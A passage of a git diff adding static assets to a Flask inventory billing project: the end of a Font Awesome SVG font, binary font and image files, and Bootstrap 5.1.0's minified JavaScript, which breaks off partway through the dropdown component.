-16h-336c0 -52.9834 -43.0166 -96 -96 -96s-96 43.0166 -96 96h-32 +c-35.3223 0 -64 28.6777 -64 64v256c0 35.3223 28.6777 64 64 64h352c88.3066 0 160 -71.6934 160 -160v-160h48zM192 16c26.4795 0.0273438 47.9727 21.5205 48 48c0 26.4922 -21.5078 48 -48 48s-48 -21.5078 -48 -48s21.5078 -48 48 -48zM256 256v64 +c0 17.6611 -14.3389 32 -32 32h-128c-17.6611 0 -32 -14.3389 -32 -32v-64c0 -17.6611 14.3389 -32 32 -32h128c17.6611 0 32 14.3389 32 32zM448 128v192c0 17.6611 -14.3389 32 -32 32h-64c-17.6611 0 -32 -14.3389 -32 -32v-192h128z" /> + </font> +</defs></svg> diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-solid-900.ttf b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-solid-900.ttf new file mode 100644 index 00000000..4dd11993 Binary files /dev/null and b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-solid-900.ttf differ diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-solid-900.woff b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-solid-900.woff new file mode 100644 index 00000000..2090c734 Binary files /dev/null and b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-solid-900.woff differ diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-solid-900.woff2 b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-solid-900.woff2 new file mode 100644 index 00000000..7b8be45e Binary files /dev/null and b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-solid-900.woff2 differ diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/images/login.jpg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/images/login.jpg new file mode 100644 index 00000000..0a5778f1 Binary files /dev/null and b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/images/login.jpg differ diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/images/login.png b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/images/login.png new file mode 100644 index 00000000..cb288447 Binary files /dev/null and b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/images/login.png differ diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/images/logo.png b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/images/logo.png new file mode 100644 index 00000000..bad139b5 Binary files /dev/null and b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/images/logo.png differ diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/js/bootstrap.min.js b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/js/bootstrap.min.js new file mode 100644 index 00000000..e50d3913 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/js/bootstrap.min.js @@ -0,0 +1,7 @@ +/*! + * Bootstrap v5.1.0 (https://getbootstrap.com/) + * Copyright 2011-2021 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) + */ +!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e(require("@popperjs/core")):"function"==typeof define&&define.amd?define(["@popperjs/core"],e):(t="undefined"!=typeof globalThis?globalThis:t||self).bootstrap=e(t.Popper)}(this,(function(t){"use strict";function e(t){if(t&&t.__esModule)return t;var e=Object.create(null);return t&&Object.keys(t).forEach((function(i){if("default"!==i){var s=Object.getOwnPropertyDescriptor(t,i);Object.defineProperty(e,i,s.get?s:{enumerable:!0,get:function(){return t[i]}})}})),e.default=t,Object.freeze(e)}var i=e(t);const s=t=>{let e=t.getAttribute("data-bs-target");if(!e||"#"===e){let i=t.getAttribute("href");if(!i||!i.includes("#")&&!i.startsWith("."))return null;i.includes("#")&&!i.startsWith("#")&&(i="#"+i.split("#")[1]),e=i&&"#"!==i?i.trim():null}return e},n=t=>{const e=s(t);return e&&document.querySelector(e)?e:null},o=t=>{const e=s(t);return e?document.querySelector(e):null},r=t=>{t.dispatchEvent(new Event("transitionend"))},a=t=>!(!t||"object"!=typeof t)&&(void 0!==t.jquery&&(t=t[0]),void 0!==t.nodeType),l=t=>a(t)?t.jquery?t[0]:t:"string"==typeof t&&t.length>0?document.querySelector(t):null,c=(t,e,i)=>{Object.keys(i).forEach(s=>{const n=i[s],o=e[s],r=o&&a(o)?"element":null==(l=o)?""+l:{}.toString.call(l).match(/\s([a-z]+)/i)[1].toLowerCase();var l;if(!new RegExp(n).test(r))throw new TypeError(`${t.toUpperCase()}: Option "${s}" provided type "${r}" but expected type "${n}".`)})},h=t=>!(!a(t)||0===t.getClientRects().length)&&"visible"===getComputedStyle(t).getPropertyValue("visibility"),d=t=>!t||t.nodeType!==Node.ELEMENT_NODE||!!t.classList.contains("disabled")||(void 0!==t.disabled?t.disabled:t.hasAttribute("disabled")&&"false"!==t.getAttribute("disabled")),u=t=>{if(!document.documentElement.attachShadow)return null;if("function"==typeof t.getRootNode){const e=t.getRootNode();return e instanceof ShadowRoot?e:null}return t instanceof ShadowRoot?t:t.parentNode?u(t.parentNode):null},g=()=>{},p=t=>{t.offsetHeight},f=()=>{const{jQuery:t}=window;return t&&!document.body.hasAttribute("data-bs-no-jquery")?t:null},_=[],m=()=>"rtl"===document.documentElement.dir,b=t=>{var e;e=()=>{const e=f();if(e){const i=t.NAME,s=e.fn[i];e.fn[i]=t.jQueryInterface,e.fn[i].Constructor=t,e.fn[i].noConflict=()=>(e.fn[i]=s,t.jQueryInterface)}},"loading"===document.readyState?(_.length||document.addEventListener("DOMContentLoaded",()=>{_.forEach(t=>t())}),_.push(e)):e()},v=t=>{"function"==typeof t&&t()},y=(t,e,i=!0)=>{if(!i)return void v(t);const s=(t=>{if(!t)return 0;let{transitionDuration:e,transitionDelay:i}=window.getComputedStyle(t);const s=Number.parseFloat(e),n=Number.parseFloat(i);return s||n?(e=e.split(",")[0],i=i.split(",")[0],1e3*(Number.parseFloat(e)+Number.parseFloat(i))):0})(e)+5;let n=!1;const o=({target:i})=>{i===e&&(n=!0,e.removeEventListener("transitionend",o),v(t))};e.addEventListener("transitionend",o),setTimeout(()=>{n||r(e)},s)},w=(t,e,i,s)=>{let n=t.indexOf(e);if(-1===n)return t[!i&&s?t.length-1:0];const o=t.length;return n+=i?1:-1,s&&(n=(n+o)%o),t[Math.max(0,Math.min(n,o-1))]},E=/[^.]*(?=\..*)\.|.*/,A=/\..*/,T=/::\d+$/,C={};let k=1;const L={mouseenter:"mouseover",mouseleave:"mouseout"},S=/^(mouseenter|mouseleave)/i,O=new Set(["click","dblclick","mouseup","mousedown","contextmenu","mousewheel","DOMMouseScroll","mouseover","mouseout","mousemove","selectstart","selectend","keydown","keypress","keyup","orientationchange","touchstart","touchmove","touchend","touchcancel","pointerdown","pointermove","pointerup","pointerleave","pointercancel","gesturestart","gesturechange","gestureend","focus","blur","change","reset","select","submit","focusin","focusout","load","unload","beforeunload","resize","move","DOMContentLoaded","readystatechange","error","abort","scroll"]);function N(t,e){return e&&`${e}::${k++}`||t.uidEvent||k++}function D(t){const e=N(t);return t.uidEvent=e,C[e]=C[e]||{},C[e]}function I(t,e,i=null){const s=Object.keys(t);for(let n=0,o=s.length;n<o;n++){const o=t[s[n]];if(o.originalHandler===e&&o.delegationSelector===i)return o}return null}function x(t,e,i){const s="string"==typeof e,n=s?i:e;let o=j(t);return O.has(o)||(o=t),[s,n,o]}function P(t,e,i,s,n){if("string"!=typeof e||!t)return;if(i||(i=s,s=null),S.test(e)){const t=t=>function(e){if(!e.relatedTarget||e.relatedTarget!==e.delegateTarget&&!e.delegateTarget.contains(e.relatedTarget))return t.call(this,e)};s?s=t(s):i=t(i)}const[o,r,a]=x(e,i,s),l=D(t),c=l[a]||(l[a]={}),h=I(c,r,o?i:null);if(h)return void(h.oneOff=h.oneOff&&n);const d=N(r,e.replace(E,"")),u=o?function(t,e,i){return function s(n){const o=t.querySelectorAll(e);for(let{target:r}=n;r&&r!==this;r=r.parentNode)for(let a=o.length;a--;)if(o[a]===r)return n.delegateTarget=r,s.oneOff&&H.off(t,n.type,e,i),i.apply(r,[n]);return null}}(t,i,s):function(t,e){return function i(s){return s.delegateTarget=t,i.oneOff&&H.off(t,s.type,e),e.apply(t,[s])}}(t,i);u.delegationSelector=o?i:null,u.originalHandler=r,u.oneOff=n,u.uidEvent=d,c[d]=u,t.addEventListener(a,u,o)}function M(t,e,i,s,n){const o=I(e[i],s,n);o&&(t.removeEventListener(i,o,Boolean(n)),delete e[i][o.uidEvent])}function j(t){return t=t.replace(A,""),L[t]||t}const H={on(t,e,i,s){P(t,e,i,s,!1)},one(t,e,i,s){P(t,e,i,s,!0)},off(t,e,i,s){if("string"!=typeof e||!t)return;const[n,o,r]=x(e,i,s),a=r!==e,l=D(t),c=e.startsWith(".");if(void 0!==o){if(!l||!l[r])return;return void M(t,l,r,o,n?i:null)}c&&Object.keys(l).forEach(i=>{!function(t,e,i,s){const n=e[i]||{};Object.keys(n).forEach(o=>{if(o.includes(s)){const s=n[o];M(t,e,i,s.originalHandler,s.delegationSelector)}})}(t,l,i,e.slice(1))});const h=l[r]||{};Object.keys(h).forEach(i=>{const s=i.replace(T,"");if(!a||e.includes(s)){const e=h[i];M(t,l,r,e.originalHandler,e.delegationSelector)}})},trigger(t,e,i){if("string"!=typeof e||!t)return null;const s=f(),n=j(e),o=e!==n,r=O.has(n);let a,l=!0,c=!0,h=!1,d=null;return o&&s&&(a=s.Event(e,i),s(t).trigger(a),l=!a.isPropagationStopped(),c=!a.isImmediatePropagationStopped(),h=a.isDefaultPrevented()),r?(d=document.createEvent("HTMLEvents"),d.initEvent(n,l,!0)):d=new CustomEvent(e,{bubbles:l,cancelable:!0}),void 0!==i&&Object.keys(i).forEach(t=>{Object.defineProperty(d,t,{get:()=>i[t]})}),h&&d.preventDefault(),c&&t.dispatchEvent(d),d.defaultPrevented&&void 0!==a&&a.preventDefault(),d}},B=new Map;var z={set(t,e,i){B.has(t)||B.set(t,new Map);const s=B.get(t);s.has(e)||0===s.size?s.set(e,i):console.error(`Bootstrap doesn't allow more than one instance per element. Bound instance: ${Array.from(s.keys())[0]}.`)},get:(t,e)=>B.has(t)&&B.get(t).get(e)||null,remove(t,e){if(!B.has(t))return;const i=B.get(t);i.delete(e),0===i.size&&B.delete(t)}};class R{constructor(t){(t=l(t))&&(this._element=t,z.set(this._element,this.constructor.DATA_KEY,this))}dispose(){z.remove(this._element,this.constructor.DATA_KEY),H.off(this._element,this.constructor.EVENT_KEY),Object.getOwnPropertyNames(this).forEach(t=>{this[t]=null})}_queueCallback(t,e,i=!0){y(t,e,i)}static getInstance(t){return z.get(l(t),this.DATA_KEY)}static getOrCreateInstance(t,e={}){return this.getInstance(t)||new this(t,"object"==typeof e?e:null)}static get VERSION(){return"5.1.0"}static get NAME(){throw new Error('You have to implement the static method "NAME", for each component!')}static get DATA_KEY(){return"bs."+this.NAME}static get EVENT_KEY(){return"."+this.DATA_KEY}}const F=(t,e="hide")=>{const i="click.dismiss"+t.EVENT_KEY,s=t.NAME;H.on(document,i,`[data-bs-dismiss="${s}"]`,(function(i){if(["A","AREA"].includes(this.tagName)&&i.preventDefault(),d(this))return;const n=o(this)||this.closest("."+s);t.getOrCreateInstance(n)[e]()}))};class W extends R{static get NAME(){return"alert"}close(){if(H.trigger(this._element,"close.bs.alert").defaultPrevented)return;this._element.classList.remove("show");const t=this._element.classList.contains("fade");this._queueCallback(()=>this._destroyElement(),this._element,t)}_destroyElement(){this._element.remove(),H.trigger(this._element,"closed.bs.alert"),this.dispose()}static jQueryInterface(t){return this.each((function(){const e=W.getOrCreateInstance(this);if("string"==typeof t){if(void 0===e[t]||t.startsWith("_")||"constructor"===t)throw new TypeError(`No method named "${t}"`);e[t](this)}}))}}F(W,"close"),b(W);class $ extends R{static get NAME(){return"button"}toggle(){this._element.setAttribute("aria-pressed",this._element.classList.toggle("active"))}static jQueryInterface(t){return this.each((function(){const e=$.getOrCreateInstance(this);"toggle"===t&&e[t]()}))}}function q(t){return"true"===t||"false"!==t&&(t===Number(t).toString()?Number(t):""===t||"null"===t?null:t)}function U(t){return t.replace(/[A-Z]/g,t=>"-"+t.toLowerCase())}H.on(document,"click.bs.button.data-api",'[data-bs-toggle="button"]',t=>{t.preventDefault();const e=t.target.closest('[data-bs-toggle="button"]');$.getOrCreateInstance(e).toggle()}),b($);const K={setDataAttribute(t,e,i){t.setAttribute("data-bs-"+U(e),i)},removeDataAttribute(t,e){t.removeAttribute("data-bs-"+U(e))},getDataAttributes(t){if(!t)return{};const e={};return Object.keys(t.dataset).filter(t=>t.startsWith("bs")).forEach(i=>{let s=i.replace(/^bs/,"");s=s.charAt(0).toLowerCase()+s.slice(1,s.length),e[s]=q(t.dataset[i])}),e},getDataAttribute:(t,e)=>q(t.getAttribute("data-bs-"+U(e))),offset(t){const e=t.getBoundingClientRect();return{top:e.top+window.pageYOffset,left:e.left+window.pageXOffset}},position:t=>({top:t.offsetTop,left:t.offsetLeft})},V={find:(t,e=document.documentElement)=>[].concat(...Element.prototype.querySelectorAll.call(e,t)),findOne:(t,e=document.documentElement)=>Element.prototype.querySelector.call(e,t),children:(t,e)=>[].concat(...t.children).filter(t=>t.matches(e)),parents(t,e){const i=[];let s=t.parentNode;for(;s&&s.nodeType===Node.ELEMENT_NODE&&3!==s.nodeType;)s.matches(e)&&i.push(s),s=s.parentNode;return i},prev(t,e){let i=t.previousElementSibling;for(;i;){if(i.matches(e))return[i];i=i.previousElementSibling}return[]},next(t,e){let i=t.nextElementSibling;for(;i;){if(i.matches(e))return[i];i=i.nextElementSibling}return[]},focusableChildren(t){const e=["a","button","input","textarea","select","details","[tabindex]",'[contenteditable="true"]'].map(t=>t+':not([tabindex^="-"])').join(", ");return this.find(e,t).filter(t=>!d(t)&&h(t))}},X={interval:5e3,keyboard:!0,slide:!1,pause:"hover",wrap:!0,touch:!0},Y={interval:"(number|boolean)",keyboard:"boolean",slide:"(boolean|string)",pause:"(string|boolean)",wrap:"boolean",touch:"boolean"},Q="next",G="prev",Z="left",J="right",tt={ArrowLeft:J,ArrowRight:Z};class et extends R{constructor(t,e){super(t),this._items=null,this._interval=null,this._activeElement=null,this._isPaused=!1,this._isSliding=!1,this.touchTimeout=null,this.touchStartX=0,this.touchDeltaX=0,this._config=this._getConfig(e),this._indicatorsElement=V.findOne(".carousel-indicators",this._element),this._touchSupported="ontouchstart"in document.documentElement||navigator.maxTouchPoints>0,this._pointerEvent=Boolean(window.PointerEvent),this._addEventListeners()}static get Default(){return X}static get NAME(){return"carousel"}next(){this._slide(Q)}nextWhenVisible(){!document.hidden&&h(this._element)&&this.next()}prev(){this._slide(G)}pause(t){t||(this._isPaused=!0),V.findOne(".carousel-item-next, .carousel-item-prev",this._element)&&(r(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null}cycle(t){t||(this._isPaused=!1),this._interval&&(clearInterval(this._interval),this._interval=null),this._config&&this._config.interval&&!this._isPaused&&(this._updateInterval(),this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))}to(t){this._activeElement=V.findOne(".active.carousel-item",this._element);const e=this._getItemIndex(this._activeElement);if(t>this._items.length-1||t<0)return;if(this._isSliding)return void H.one(this._element,"slid.bs.carousel",()=>this.to(t));if(e===t)return this.pause(),void this.cycle();const i=t>e?Q:G;this._slide(i,this._items[t])}_getConfig(t){return t={...X,...K.getDataAttributes(this._element),..."object"==typeof t?t:{}},c("carousel",t,Y),t}_handleSwipe(){const t=Math.abs(this.touchDeltaX);if(t<=40)return;const e=t/this.touchDeltaX;this.touchDeltaX=0,e&&this._slide(e>0?J:Z)}_addEventListeners(){this._config.keyboard&&H.on(this._element,"keydown.bs.carousel",t=>this._keydown(t)),"hover"===this._config.pause&&(H.on(this._element,"mouseenter.bs.carousel",t=>this.pause(t)),H.on(this._element,"mouseleave.bs.carousel",t=>this.cycle(t))),this._config.touch&&this._touchSupported&&this._addTouchEventListeners()}_addTouchEventListeners(){const t=t=>{!this._pointerEvent||"pen"!==t.pointerType&&"touch"!==t.pointerType?this._pointerEvent||(this.touchStartX=t.touches[0].clientX):this.touchStartX=t.clientX},e=t=>{this.touchDeltaX=t.touches&&t.touches.length>1?0:t.touches[0].clientX-this.touchStartX},i=t=>{!this._pointerEvent||"pen"!==t.pointerType&&"touch"!==t.pointerType||(this.touchDeltaX=t.clientX-this.touchStartX),this._handleSwipe(),"hover"===this._config.pause&&(this.pause(),this.touchTimeout&&clearTimeout(this.touchTimeout),this.touchTimeout=setTimeout(t=>this.cycle(t),500+this._config.interval))};V.find(".carousel-item img",this._element).forEach(t=>{H.on(t,"dragstart.bs.carousel",t=>t.preventDefault())}),this._pointerEvent?(H.on(this._element,"pointerdown.bs.carousel",e=>t(e)),H.on(this._element,"pointerup.bs.carousel",t=>i(t)),this._element.classList.add("pointer-event")):(H.on(this._element,"touchstart.bs.carousel",e=>t(e)),H.on(this._element,"touchmove.bs.carousel",t=>e(t)),H.on(this._element,"touchend.bs.carousel",t=>i(t)))}_keydown(t){if(/input|textarea/i.test(t.target.tagName))return;const e=tt[t.key];e&&(t.preventDefault(),this._slide(e))}_getItemIndex(t){return this._items=t&&t.parentNode?V.find(".carousel-item",t.parentNode):[],this._items.indexOf(t)}_getItemByOrder(t,e){const i=t===Q;return w(this._items,e,i,this._config.wrap)}_triggerSlideEvent(t,e){const i=this._getItemIndex(t),s=this._getItemIndex(V.findOne(".active.carousel-item",this._element));return H.trigger(this._element,"slide.bs.carousel",{relatedTarget:t,direction:e,from:s,to:i})}_setActiveIndicatorElement(t){if(this._indicatorsElement){const e=V.findOne(".active",this._indicatorsElement);e.classList.remove("active"),e.removeAttribute("aria-current");const i=V.find("[data-bs-target]",this._indicatorsElement);for(let e=0;e<i.length;e++)if(Number.parseInt(i[e].getAttribute("data-bs-slide-to"),10)===this._getItemIndex(t)){i[e].classList.add("active"),i[e].setAttribute("aria-current","true");break}}}_updateInterval(){const t=this._activeElement||V.findOne(".active.carousel-item",this._element);if(!t)return;const e=Number.parseInt(t.getAttribute("data-bs-interval"),10);e?(this._config.defaultInterval=this._config.defaultInterval||this._config.interval,this._config.interval=e):this._config.interval=this._config.defaultInterval||this._config.interval}_slide(t,e){const i=this._directionToOrder(t),s=V.findOne(".active.carousel-item",this._element),n=this._getItemIndex(s),o=e||this._getItemByOrder(i,s),r=this._getItemIndex(o),a=Boolean(this._interval),l=i===Q,c=l?"carousel-item-start":"carousel-item-end",h=l?"carousel-item-next":"carousel-item-prev",d=this._orderToDirection(i);if(o&&o.classList.contains("active"))return void(this._isSliding=!1);if(this._isSliding)return;if(this._triggerSlideEvent(o,d).defaultPrevented)return;if(!s||!o)return;this._isSliding=!0,a&&this.pause(),this._setActiveIndicatorElement(o),this._activeElement=o;const u=()=>{H.trigger(this._element,"slid.bs.carousel",{relatedTarget:o,direction:d,from:n,to:r})};if(this._element.classList.contains("slide")){o.classList.add(h),p(o),s.classList.add(c),o.classList.add(c);const t=()=>{o.classList.remove(c,h),o.classList.add("active"),s.classList.remove("active",h,c),this._isSliding=!1,setTimeout(u,0)};this._queueCallback(t,s,!0)}else s.classList.remove("active"),o.classList.add("active"),this._isSliding=!1,u();a&&this.cycle()}_directionToOrder(t){return[J,Z].includes(t)?m()?t===Z?G:Q:t===Z?Q:G:t}_orderToDirection(t){return[Q,G].includes(t)?m()?t===G?Z:J:t===G?J:Z:t}static carouselInterface(t,e){const i=et.getOrCreateInstance(t,e);let{_config:s}=i;"object"==typeof e&&(s={...s,...e});const n="string"==typeof e?e:s.slide;if("number"==typeof e)i.to(e);else if("string"==typeof n){if(void 0===i[n])throw new TypeError(`No method named "${n}"`);i[n]()}else s.interval&&s.ride&&(i.pause(),i.cycle())}static jQueryInterface(t){return this.each((function(){et.carouselInterface(this,t)}))}static dataApiClickHandler(t){const e=o(this);if(!e||!e.classList.contains("carousel"))return;const i={...K.getDataAttributes(e),...K.getDataAttributes(this)},s=this.getAttribute("data-bs-slide-to");s&&(i.interval=!1),et.carouselInterface(e,i),s&&et.getInstance(e).to(s),t.preventDefault()}}H.on(document,"click.bs.carousel.data-api","[data-bs-slide], [data-bs-slide-to]",et.dataApiClickHandler),H.on(window,"load.bs.carousel.data-api",()=>{const t=V.find('[data-bs-ride="carousel"]');for(let e=0,i=t.length;e<i;e++)et.carouselInterface(t[e],et.getInstance(t[e]))}),b(et);const it={toggle:!0,parent:null},st={toggle:"boolean",parent:"(null|element)"};class nt extends R{constructor(t,e){super(t),this._isTransitioning=!1,this._config=this._getConfig(e),this._triggerArray=[];const i=V.find('[data-bs-toggle="collapse"]');for(let t=0,e=i.length;t<e;t++){const e=i[t],s=n(e),o=V.find(s).filter(t=>t===this._element);null!==s&&o.length&&(this._selector=s,this._triggerArray.push(e))}this._initializeChildren(),this._config.parent||this._addAriaAndCollapsedClass(this._triggerArray,this._isShown()),this._config.toggle&&this.toggle()}static get Default(){return it}static get NAME(){return"collapse"}toggle(){this._isShown()?this.hide():this.show()}show(){if(this._isTransitioning||this._isShown())return;let t,e=[];if(this._config.parent){const t=V.find(".collapse .collapse",this._config.parent);e=V.find(".show, .collapsing",this._config.parent).filter(e=>!t.includes(e))}const i=V.findOne(this._selector);if(e.length){const s=e.find(t=>i!==t);if(t=s?nt.getInstance(s):null,t&&t._isTransitioning)return}if(H.trigger(this._element,"show.bs.collapse").defaultPrevented)return;e.forEach(e=>{i!==e&&nt.getOrCreateInstance(e,{toggle:!1}).hide(),t||z.set(e,"bs.collapse",null)});const s=this._getDimension();this._element.classList.remove("collapse"),this._element.classList.add("collapsing"),this._element.style[s]=0,this._addAriaAndCollapsedClass(this._triggerArray,!0),this._isTransitioning=!0;const n="scroll"+(s[0].toUpperCase()+s.slice(1));this._queueCallback(()=>{this._isTransitioning=!1,this._element.classList.remove("collapsing"),this._element.classList.add("collapse","show"),this._element.style[s]="",H.trigger(this._element,"shown.bs.collapse")},this._element,!0),this._element.style[s]=this._element[n]+"px"}hide(){if(this._isTransitioning||!this._isShown())return;if(H.trigger(this._element,"hide.bs.collapse").defaultPrevented)return;const t=this._getDimension();this._element.style[t]=this._element.getBoundingClientRect()[t]+"px",p(this._element),this._element.classList.add("collapsing"),this._element.classList.remove("collapse","show");const e=this._triggerArray.length;for(let t=0;t<e;t++){const e=this._triggerArray[t],i=o(e);i&&!this._isShown(i)&&this._addAriaAndCollapsedClass([e],!1)}this._isTransitioning=!0,this._element.style[t]="",this._queueCallback(()=>{this._isTransitioning=!1,this._element.classList.remove("collapsing"),this._element.classList.add("collapse"),H.trigger(this._element,"hidden.bs.collapse")},this._element,!0)}_isShown(t=this._element){return t.classList.contains("show")}_getConfig(t){return(t={...it,...K.getDataAttributes(this._element),...t}).toggle=Boolean(t.toggle),t.parent=l(t.parent),c("collapse",t,st),t}_getDimension(){return this._element.classList.contains("collapse-horizontal")?"width":"height"}_initializeChildren(){if(!this._config.parent)return;const t=V.find(".collapse .collapse",this._config.parent);V.find('[data-bs-toggle="collapse"]',this._config.parent).filter(e=>!t.includes(e)).forEach(t=>{const e=o(t);e&&this._addAriaAndCollapsedClass([t],this._isShown(e))})}_addAriaAndCollapsedClass(t,e){t.length&&t.forEach(t=>{e?t.classList.remove("collapsed"):t.classList.add("collapsed"),t.setAttribute("aria-expanded",e)})}static jQueryInterface(t){return this.each((function(){const e={};"string"==typeof t&&/show|hide/.test(t)&&(e.toggle=!1);const i=nt.getOrCreateInstance(this,e);if("string"==typeof t){if(void 0===i[t])throw new TypeError(`No method named "${t}"`);i[t]()}}))}}H.on(document,"click.bs.collapse.data-api",'[data-bs-toggle="collapse"]',(function(t){("A"===t.target.tagName||t.delegateTarget&&"A"===t.delegateTarget.tagName)&&t.preventDefault();const e=n(this);V.find(e).forEach(t=>{nt.getOrCreateInstance(t,{toggle:!1}).toggle()})})),b(nt);const ot=new RegExp("ArrowUp|ArrowDown|Escape"),rt=m()?"top-end":"top-start",at=m()?"top-start":"top-end",lt=m()?"bottom-end":"bottom-start",ct=m()?"bottom-start":"bottom-end",ht=m()?"left-start":"right-start",dt=m()?"right-start":"left-start",ut={offset:[0,2],boundary:"clippingParents",reference:"toggle",display:"dynamic",popperConfig:null,autoClose:!0},gt={offset:"(array|string|function)",boundary:"(string|element)",reference:"(string|element|object)",display:"string",popperConfig:"(null|object|function)",autoClose:"(boolean|string)"};class pt extends R{constructor(t,e){super(t),this._popper=null,this._config=this._getConfig(e),this._menu=this._getMenuElement(),this._inNavbar=this._detectNavbar()}static get Default(){return ut}static get DefaultType(){return gt}static get NAME(){return"dropdown"}toggle(){return this._isShown()?this.hide():this.show()}show(){if(d(this._element)||this._isShown(this._menu))return;const t={relatedTarget:this._element};if(H.trigger(this._element,"show.bs.dropdown",t).defaultPrevented)return;const e=pt.getParentFromElement(this._element);this._inNavbar?K.setDataAttribute(this._menu,"popper","none"):this._createPopper(e),"ontouchstart"in document.documentElement&&!e.closest(".navbar-nav")&&[].concat(...document.body.children).forEach(t=>H.on(t,"mouseover",g)),this._element.focus(),this._element.setAttribute("aria-expanded",!0),this._menu.classList.add("show"),this._element.classList.add("show"),H.trigger(this._element,"shown.bs.dropdown",t)}hide(){if(d(this._element)||!this._isShown(this._menu))return;const t={relatedTarget:this._element};this._completeHide(t)}dispose(){this._popper&&this._popper.destroy(),super.dispose()}update(){this._inNavbar=this._detectNavbar(),this._popper&&this._popper.update()}_completeHide(t){H.trigger(this._element,"hide.bs.dropdown",t).defaultPrevented||("ontouchstart"in document.documentElement&&[].concat(...document.body.children).forEach(t=>H.off(t,"mouseover",g)),this._popper&&this._popper.destroy(),this._menu.classList.remove("show"),this._element.classList.remove("show"),this._element.setAttribute("aria-expanded","false"),K.removeDataAttribute(this._menu,"popper"),H.trigger(this._element,"hidden.bs.dropdown",t))}_getConfig(t){if(t={...this.constructor.Default,...K.getDataAttributes(this._element),...t},c("dropdown",t,this.constructor.DefaultType),"object"==typeof t.reference&&!a(t.reference)&&"function"!=typeof t.reference.getBoundingClientRect)throw new TypeError("dropdown".toUpperCase()+': Option "reference" provided type "object" without a required "getBoundingClientRect" method.');return t}_createPopper(t){if(void 0===i)throw new TypeError("Bootstrap's dropdowns require Popper (https://popper.js.org)");let e=this._element;"parent"===this._config.reference?e=t:a(this._config.reference)?e=l(this._config.reference):"object"==typeof this._config.reference&&(e=this._config.reference);const s=this._getPopperConfig(),n=s.modifiers.find(t=>"applyStyles"===t.name&&!1===t.enabled);this._popper=i.createPopper(e,this._menu,s),n&&K.setDataAttribute(this._menu,"popper","static")}_isShown(t=this._element){return t.classList.contains("show")}_getMenuElement(){return V.next(this._element,".dropdown-menu")[0]}_getPlacement(){const t=this._element.parentNode;if(t.classList.contains("dropend"))return ht;if(t.classList.contains("dropstart"))return dt;const e="end"===getComputedStyle(this._menu).getPropertyValue("--bs-position").trim();return t.classList.contains("dropup")?e?at:rt:e?ct:lt}_detectNavbar(){return null!==this._element.closest(".navbar")}_getOffset(){const{offset:t}=this._config;return"string"==typeof t?t.split(",").map(t=>Number.parseInt(t,10)):"function"==typeof t?e=>t(e,this._element):t}_getPopperConfig(){const t={placement:this._getPlacement(),modifiers:[{name:"preventOverflow",options:{boundary:this._config.boundary}},{name:"offset",options:{offset:this._getOffset()}}]};return"static"===this._config.display&&(t.modifiers=[{name:"applyStyles",enabled:!1}]),{...t,..."function"==typeof this._config.popperConfig?this._config.popperConfig(t):this._config.popperConfig}}_selectMenuItem({key:t,target:e}){const i=V.find(".dropdown-menu .dropdown-item:not(.disabled):not(:disabled)",this._menu).filter(h);i.length&&w(i,e,"ArrowDown"===t,!i.includes(e)).focus()}static jQueryInterface(t){return this.each((function(){const e=pt.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}static clearMenus(t){if(t&&(2===t.button||"keyup"===t.type&&"Tab"!==t.key))return;const e=V.find('[data-bs-toggle="dropdown"]');for(let i=0,s=e.length;i<s;i++){const s=pt.getInstance(e[i]);if(!s||!1===s._config.autoClose)continue;if(!s._isShown())continue;const n={relatedTarget:s._element};if(t){const e=t.composedPath(),i=e.includes(s._menu);if(e.includes(s._element)||"inside"===s._config.autoClose&&!i||"outside"===s._config.autoClose&&i)continue;if(s._menu.contains(t.target)&&("keyup"===t.type&&"Tab"===t.key||/input|select|option|textarea|form/i.test(t.target.tagName)))continue;"click"===t.type&&(n.clickEvent=t)}s._completeHide(n)}}static getParentFromElement(t){return o(t)||t.parentNode}static dataApiKeydownHandler(t){if(/input|textarea/i.test(t.target.tagName)?"Space"===t.key||"Escape"!==t.key&&("ArrowDown"!==t.key&&"ArrowUp"!==t.key||t.target.closest(".dropdown-menu")):!ot.test(t.key))return;const e=this.classList.contains("show");if(!e&&"Escape"===t.key)return;if(t.preventDefault(),t.stopPropagation(),d(this))return;const i=this.matches('[data-bs-toggle="dropdown"]')?this:V.prev(this,'[data-bs-toggle="dropdown"]')[0],s=pt.getOrCreateInstance(i);if("Escape"!==t.key)return"ArrowUp"===t.key||"ArrowDown"===t.key?(e||s.show(),void 